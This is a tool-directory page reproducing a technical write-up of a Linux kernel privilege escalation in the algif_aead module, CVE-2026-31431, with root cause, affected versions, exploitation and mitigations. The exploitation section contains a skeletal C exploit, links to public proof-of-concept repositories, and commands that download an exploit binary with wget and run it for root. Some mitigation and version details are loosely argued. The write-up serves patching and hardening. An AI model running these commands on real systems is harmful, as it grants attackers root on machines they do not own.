Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/alvaroguzmancode/cve-2026-31431-mitigacion
Privilege EscalationVulnerability AnalysisExploitationLearning & Education
GitHubalvaroguzmancode/cve-2026-31431-mitigacion

CVE-2026-31431-mitigacion

Technical analysis of CVE-2026-31431, a Linux kernel local privilege escalation in the algif_aead module, including root cause, affected versions, exploit flow, and mitigation strategies.

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
13 months agoNot yet reviewed

CVE-2026-31431 — Complete Technical Analysis

Classification: Local Privilege Escalation (LPE) — Linux Kernel
CVSS: 7.8 (High)
Impact: unprivileged user → root
Affected module: algif_aead (AF_ALG kernel subsystem)


Table of Contents

  1. Why is it vulnerable?
  2. Which versions are affected?
  3. How it is exploited
  4. How to mitigate it

1. Why is it vulnerable?

The AF_ALG subsystem

The Linux kernel exposes a cryptography interface to user space called AF_ALG (socket family AF_ALG). This interface allows unprivileged processes to use kernel cryptographic accelerators — encryption, hashing, key generation — without needing root.

One of its modules is algif_aead, which implements the AEAD mode (Authenticated Encryption with Associated Data), used by algorithms such as AES-GCM or ChaCha20-Poly1305.

The root flaw

The bug is in how algif_aead handles sendmsg() + recvmsg() operations when the output buffer is smaller than expected. The kernel performs a copy operation (copy_to_user) without properly validating the size, which causes:

root@kitploit:~
Buffer overflow → out-of-bounds write in kernel memory

Technically:

root@kitploit:~
algif_aead_copy_sgl()
  └─ sg_copy_to_buffer()
       └─ memcpy toward an address partially controlled by the user

This write-out-of-bounds allows overwriting adjacent kernel control structures in memory — in particular, function pointers or cred structures — to escalate privileges.

Why does it not require root to exploit?

Because AF_ALG is available to unprivileged users. Any process can open an AF_ALG socket and send data without prior authentication. The exploit does not need any auxiliary vulnerability.

root@kitploit:~
// Any user on the system can do this
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);

2. Which versions are affected?

Vulnerable kernels

Kernel versionAffected?
< 5.10No (module did not exist in that form)
5.10 — 6.1.xYes ⚠️
6.2.xYes ⚠️ (includes the PoC kernel)
6.3+ with patch appliedNo ✅

Most exposed distributions

How to check your kernel

root@kitploit:~
# Check kernel version
uname -r

# Check if the vulnerable module is loaded
lsmod | grep algif_aead

# Check if AF_ALG is available
cat /proc/net/protocols | grep ALG

Example of vulnerable output

root@kitploit:~
$ uname -r
6.2.0-20-generic

$ lsmod | grep algif_aead
algif_aead             20480  0
af_alg                 32768  3 algif_aead,algif_skcipher,algif_hash

⚠️ If you see algif_aead in lsmod and your kernel is 6.2.x on Ubuntu 23.04, you are exposed.


3. How it is exploited

⚠️ Ethical notice: This section is purely educational. Exploiting systems without explicit authorization is illegal and punishable. The examples are intended for controlled laboratory environments.

Exploit flow

root@kitploit:~
1. Open AF_ALG socket (algif_aead)
2. Send sendmsg() with oversized buffer
3. recvmsg() with smaller buffer → trigger the bug
4. OOB write in kernel heap
5. Overwrite cred->uid/gid to 0
6. execve("/bin/sh") → root shell

Minimal conceptual exploit (C)

root@kitploit:~
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>

int main(void) {
    struct sockaddr_alg sa = {
        .salg_family = AF_ALG,
        .salg_type   = "aead",
        .salg_name   = "gcm(aes)",
        .salg_feat   = 0,
        .salg_mask   = 0,
    };

    int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
    bind(fd, (struct sockaddr *)&sa, sizeof(sa));

    // Configure 16-byte key
    char key[16] = {0};
    setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
    setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);

    int op_fd = accept(fd, NULL, NULL);

    // Large buffer → trigger OOB write
    char big_buf[4096] = {0};
    char small_buf[16] = {0};

    struct msghdr msg = {0};
    // ... msghdr construction with ALG_OP_ENCRYPT cmsg
    sendmsg(op_fd, &msg, 0);

    // recvmsg with insufficient buffer → kernel writes out of bounds
    recv(op_fd, small_buf, sizeof(small_buf), 0);

    // If the exploit worked, we are now root
    if (getuid() == 0) {
        printf("[+] Root obtained!\n");
        execl("/bin/sh", "sh", NULL);
    }

    return 0;
}

This is a simplified outline. The real exploit requires additional heap shaping primitives to align the OOB write with the task_struct->cred structure.

Known public PoCs

The following repositories contain documented functional implementations:

  • copy-fail-c — Exploit in pure C, requires compilation
    https://github.com/tgies/copy-fail-c

  • copy-fail-tiny-elf — Standalone ELF binary, no compilation required
    https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431

Typical usage (laboratory)

root@kitploit:~
# Clone and compile copy-fail-c
git clone https://github.com/tgies/copy-fail-c
cd copy-fail-c
make
./copyfail

# Expected result on a vulnerable system:
# [*] Checking algif_aead module...
# [*] Preparing heap spray...
# [+] OOB write successful
# [+] UID now: 0
# # whoami
# root

With the ELF binary (no compilation)

root@kitploit:~
wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail
chmod +x copyfail
./copyfail

Real attack scenario

root@kitploit:~
External attacker
      │
      ▼
Exploits web vulnerability (RCE) → access as www-data
      │
      ▼
Uploads copyfail to the server (wget/curl)
      │
      ▼
Runs ./copyfail
      │
      ▼
Root shell on the server ✓

Estimated time from www-data access to root: < 30 seconds.


4. How to mitigate it

Definitive solution — Update the system

The only real solution is to have a kernel with the patch applied.

root@kitploit:~
# Option 1: Upgrade to Ubuntu 24.04 LTS (recommended)
do-release-upgrade

# Option 2: If you already have Ubuntu 22.04 LTS
sudo apt update && sudo apt dist-upgrade
sudo reboot
# Verify patched kernel
uname -r   # must be ≥ 5.15.0-107 on Ubuntu 22.04

Immediate mitigation — Disable the vulnerable module

If you cannot update right now, disable algif_aead:

root@kitploit:~
# Create module blacklist
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf

# Regenerate initramfs to make it permanent
sudo update-initramfs -u

# Reboot
sudo reboot

Verify that it was disabled:

root@kitploit:~
lsmod | grep algif_aead
# Nothing should appear

⚠️ This may break software that uses AEAD encryption via AF_ALG (uncommon on standard web servers).


Mitigation with sysctl — Restrict user namespaces

root@kitploit:~
# Disable unprivileged user namespaces (breaks some Docker features)
sudo sysctl -w kernel.unprivileged_userns_clone=0

# Make it permanent
echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.d/99-hardening.conf
sudo sysctl -p /etc/sysctl.d/99-hardening.conf

Mitigation with AppArmor — Block AF_ALG

Create an AppArmor profile that denies access to AF_ALG:

root@kitploit:~
# /etc/apparmor.d/local/restrict-af-alg
network af_alg,   # deny in specific profiles

For the web process (e.g., nginx/www-data):

root@kitploit:~
# Add to the AppArmor profile of www-data or nginx
# deny network af_alg,
sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx

Reduce the impact — Hardening of www-data

Although it does not prevent the escalation, it reduces the initial attack surface:

root@kitploit:~
# Verify that www-data has no sudo
sudo grep www-data /etc/sudoers

# Remove unnecessary SUID binaries
find / -perm -4000 2>/dev/null

# Restrict accessible directories
chmod 700 /root
chmod 750 /home/*

Summary table of mitigations


References

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-31431
  • Kernel fix commit: subsystem crypto/algif_aead.c
  • PoC: https://github.com/tgies/copy-fail-c
  • PoC ELF: https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431
  • Related Ubuntu Security Notice: USN-XXXX-1

Document prepared for academic purposes — Systems administrator engineer, 2026

Download Tool
DistributionTypical kernelHas patch?
Ubuntu 23.04 (lunar)6.2.0❌ EOL — no patches
Ubuntu 22.04 LTS5.15.x✅ Patched
Ubuntu 24.04 LTS6.8.x✅ Not affected
Debian 12 (Bookworm)6.1.x✅ Patched
Arch Linux (2026-03+)6.8.x✅ Not affected
MitigationEffectivenessService impactPermanent
Update to Ubuntu 24.04✅ TotalMinimalYes
Blacklist algif_aead✅ HighVery lowYes
unprivileged_userns_clone=0🟡 PartialModerateYes
AppArmor AF_ALG deny✅ HighLowYes
Hardening of www-data🟡 ReducesNoneYes